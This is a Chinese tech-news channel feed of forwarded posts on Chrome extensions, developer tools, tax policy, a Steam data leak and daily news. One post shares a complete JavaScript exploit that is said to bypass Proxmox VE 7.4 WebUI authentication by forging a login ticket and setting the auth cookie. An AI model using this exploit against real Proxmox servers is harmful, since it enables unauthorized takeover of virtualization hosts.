OKHK 👀

OKHK 👀

  1. OKHK 👀

    Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展#ChromeGoogle 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展

    Forwarded from Solidot 纯净版
    Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展
    #Chrome

    Google 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展。Chrome 用户已安装的 Manifest V2 扩展目前还能使用，但不会再收到任何更新，卸载之后将无法再重新安装。Chrome Web Store 将只提供 Manifest v3 扩展，Manifest v3 相比 Manifest v2 的一大区别是移除了 blockingWebRequest 和 declarativeNetRequest，限制了广告屏蔽扩展的功能，uBlock Origin 是基于 Manifest V2，它没有 Manifest V3 版本，但有一个基于 V3 的精简版本。用户如果想要继续使用 uBlock Origin 只能改用 Firefox 以及另一个 Chromium 的浏览器 Brave。
    https://webiterate.dev/google-removed-extensions-ublock-origin-108/

    Chrome

  2. OKHK 👀

    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026

    Forwarded from HAT's Public Channel | 🫪
    Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

    无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

    Exp (.js) 正文:

    // PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();


    观后感：不是，你就这么水灵灵的拿到 login cookie 了？

    https://fixupx.com/nebusecurity/status/2094719919539793989
    🧵 Thread • FixupX
    NebuSec (@nebusecurity)
    Proxmox VE 7.x authentication bypass (pre-auth RCE)

  4. OKHK 👀

    图吧工具箱 TubaWinUi3 - 图吧工具箱的重构版, 基于 WinUI 3 / .NET 10 全新打造

    图吧工具箱 TubaWinUi3 - 图吧工具箱的重构版, 基于 WinUI 3 / .NET 10 全新打造
    https://github.com/luolangaga/tubatools
    https://apps.microsoft.com/detail/9P15095X7MGB
    系统工具 证书屏蔽 / 端口查看 / Hosts 编辑器 / 右键菜单管理 / 系统优化鸭 / Windows 激活
    硬件检测 键盘测试 / 网速测试 / CPU 天梯图 / GPU 天梯图 / 硬件伪装 / 性能跑分 / 屏幕测试
    网络工具 WiFi 密码查看 / 网卡代理设置
    清理维护 垃圾清理 / 电池报告
    装机助手 常用软件 / Windows常规优化 / UniGetUI / Windows 镜像工具 / 装机教程 / 文件传输
    AI 辅助 AI 助手 / 跑分云同步 / 防晕动症

    #Windows #Tool #GitHub
    GitHub
    GitHub - luolangaga/tubatools: 图吧工具箱 winUI3 版
    GitHub - luolangaga/tubatools: 图吧工具箱 winUI3 版
    图吧工具箱 winUI3 版. Contribute to luolangaga/tubatools development by creating an account on GitHub.

    WindowsToolGitHub

  5. OKHK 👀

    dbmate - 轻量级数据库迁移工具

    dbmate - 轻量级数据库迁移工具
    https://github.com/amacneil/dbmate
    使用纯 SQL 编写迁移脚本，跨语言与框架同步多环境数据库 Schema，解决多语言服务开发中迁移工具不统一的问题。
    框架与语言无关： 提供独立的单个可执行二进制文件，支持在 Go、Node.js、Python、Ruby、Rust 等任意技术栈中使用。
    纯 SQL 与事务控制： 直接采用原生 SQL 编写迁移与回滚逻辑，支持原子性事务执行及单文件双向迁移。
    多数据库支持： 兼容 PostgreSQL、MySQL、MariaDB、SQLite、ClickHouse、BigQuery 及 Spanner。
    自动管理 Schema： 执行迁移后自动生成或更新 schema.sql 结构快照，便于 Git 追踪版本差异。
    服务就绪等待与配置集成： 自动加载 .env 配置，内置 wait 命令等待数据库实例启动，适配容器化开发流程。

    #DB #Tool #GitHub #DevOps
    GitHub
    GitHub - amacneil/dbmate: 🚀 A lightweight, framework-agnostic database migration tool.
    GitHub - amacneil/dbmate: 🚀 A lightweight, framework-agnostic database migration tool.
    🚀 A lightweight, framework-agnostic database migration tool. - amacneil/dbmate

    DBToolGitHubDevOps

  6. OKHK 👀

    财政部税务总局9月1日公告，对外籍个人从外资企业取得的股息红利征收20%个税，结束自1994年起的免税政策

    Forwarded from 竹新社
    财政部税务总局9月1日公告，对外籍个人从外资企业取得的股息红利征收20%个税，结束自1994年起的免税政策。
    新闻稿说，因欧美国家主要实行居民个人全球所得征税制度，因此中国取消免税政策并不影响外籍股东的实际税负水平。
    （南华早报）

  7. OKHK 👀

    Breakscale - 分布式架构系统设计模拟器

    Breakscale - 分布式架构系统设计模拟器
    https://breakscale.tech/
    https://github.com/xevrion/breakscale
    通过可视化的离散事件模拟引擎构建并对分布式系统加压，实时观察延迟攀升、队列堆积与级联故障，直观验证架构在极限负载下的表现。
    离散事件仿真引擎： 采用纯数学建模而非近似动画，真实模拟服务时间方差、队列堆积与无效算力消耗。
    丰富的组件与实战案例： 提供 33 类基础架构组件，内置 16 个典型故障隔离场景及 7 个知名工业级架构重现。
    交互式混沌实验： 支持实时调节流量滑块、注入节点宕机、模拟网络链路中断或强制注入错误率。

    #Tool #GitHub #DevOps
    Breakscale
    Breakscale
    Build a system, load it until it breaks, and watch why. A system design simulator for learning distributed systems.

    ToolGitHubDevOps

  8. OKHK 👀

    每天自主去公司，自主学习，自主规划，自主调用各种工具，还能根据老板反馈持续迭代，最终完成公司交给的任务

    rvalue的生草日常
    Photo
    每天自主去公司，自主学习，自主规划，自主调用各种工具，还能根据老板反馈持续迭代，最终完成公司交给的任务。

    谁是 Agent，我不说。

    source
    FxTwitter
    Dinah (@dinah_zhang)
    每天自主去公司，自主学习，自主规划，自主调用各种工具，还能根据老板反馈持续迭代，最终完成公司交给的任务。

    谁是 Agent，我不说。

    引用 Bear Liu (@bearliu)

    我发现生活里有些操作，其实和 Agent 操作很像。

    周末开车门刮到了旁边一辆车，蹭掉了一点漆，车主留了张 note。然后我们各自向保险公司报案，填填单、打打电话。

    之后我们两个人只需要互发消息，确认已经处理、同步一下申诉号和保险单号，剩下的事全交给两家保险公司去对接。我就是接了个电话讲讲情况，后面就不用管了。

    …

  10. OKHK 👀

    一觉醒来发生了什么 09 月 01 日#Daily2026 年 9 月 1 日🌍 资讯快读1、教育部等七部门启动实施特殊教育发展提升“十五五”行动计划

    一觉醒来发生了什么 09 月 01 日
    #Daily

    2026 年 9 月 1 日
    🌍 资讯快读
    1、教育部等七部门启动实施特殊教育发展提升“十五五”行动计划
    https://www.jiemian.com/article/15032702.html
    2、四所高校的雄安校区将于明年 9 月正式开门办学
    https://www.jiemian.com/article/15035285.html
    3、韩国“统一教”头目因政教勾结获刑 2 年
    https://www.jiemian.com/article/15034283.html
    4、特朗普发 AI 视频称轰炸伊朗哈尔克岛
    https://www.jiemian.com/article/15032300.html

    👬 即刻镇小报
    1、将朋友圈艺术感拉满！旅游风景也很出片！
    https://m.okjike.com/originalPosts/6a846471cfb5d08b3ee1b01b
    2、一个评估心力强弱的方法
    https://m.okjike.com/originalPosts/6a92c355756bbb6658dd93c5
    3、好的文章如同窗户玻璃。
    https://m.okjike.com/originalPosts/6a92f818cfb5d08b3e72f0f4
    4、强烈建议大家搭建一个自己的个人网站。
    https://m.okjike.com/originalPosts/6a93de42bd0563695b38334f

    今日即刻镇小报内容来自 @VaeenAiDesign @puuoo @玉伯 @小盖 fun ，感谢以上即友的创作与分享。
    界面新闻
    教育部等七部门启动实施特殊教育发展提升“十五五”行动计划
    近日，经国务院同意，教育部、国家发展改革委、民政部、财政部、人力资源社会保障部、国家卫生健康委、中国残联等七部门联合印发《特殊教育发展提升“十五五”行动计划》（以下简称《行动计划》），对“十五五”时期推进特殊教育优质融合发展作出部署，进一步完善高质量特殊教育体系。

    Daily

  12. OKHK 👀

    Steam 平台 2003-2013 年的几乎所有游戏泄露上周末 Steam 平台逾 12TB 数据泄露，涵盖了该平台 2003-2013 年之间几乎所有的游戏

    Forwarded from LoopDNS资讯播报
    Steam 平台 2003-2013 年的几乎所有游戏泄露

    上周末 Steam 平台逾 12TB 数据泄露，涵盖了该平台 2003-2013 年之间几乎所有的游戏。这些数据是通过一个公开访问的 API 获取的，但不清楚是近期访问还是早就下载但直到上周才公开。相关数据来自被称为 Steam2 的内容分发系统，2013 年 Steam2 被 SteamPipe 系统所取代，因此数据仅限于 2013 年前。泄露的数据包括了Valve 和第三方发行商发布的热门游戏的早期版本、原型版本和试玩版本，其中包括《传送门2》的被删减内容，被取消的《半条命2：第三章》的部分文件。

    来源：Solidot

  13. OKHK 👀

    MirrorProxy - 自建镜像代理

    OKHK 👀
    镜像站 https://mirrorz.org/ https://github.com/mirrorz-org/mirrorz
    MirrorProxy - 自建镜像代理
    https://github.com/inbjo/MirrorProxy
    与其长期寻找和维护别人的镜像，不如部署一个属于自己的 MirrorProxy。只需一台网络通畅的服务器， 就能把 GitHub、容器镜像、语言包仓库、开发工具链和操作系统软件源统一代理到自己的域名。 一个项目、一套后台、一个稳定入口，覆盖日常开发所需的主流软件源。

    MirrorProxy 按需获取并缓存内容，无需预先完整同步庞大的镜像仓库；当某个上游不可用时，还能自动 切换到备用地址。个人开发者可以告别反复找源、测速和修改配置，团队则可以进一步获得统一改源、 账号权限、流量配额、健康检测和使用统计，把四处拼凑的镜像方案升级为自己真正掌控的基础设施。

    #DevOps #Tool #GitHub
    GitHub
    GitHub - inbjo/MirrorProxy: All-in-one mirror acceleration,The project uses an adapter-based proxy core and already ships adapters…
    GitHub - inbjo/MirrorProxy: All-in-one mirror acceleration,The project uses an adapter-based proxy core and already ships adapters…
    All-in-one mirror acceleration,The project uses an adapter-based proxy core and already ships adapters for GitHub, Docker/OCI, Composer, npm, PyPI, Cargo, Go modules, major language repositories, d...

    DevOpsToolGitHub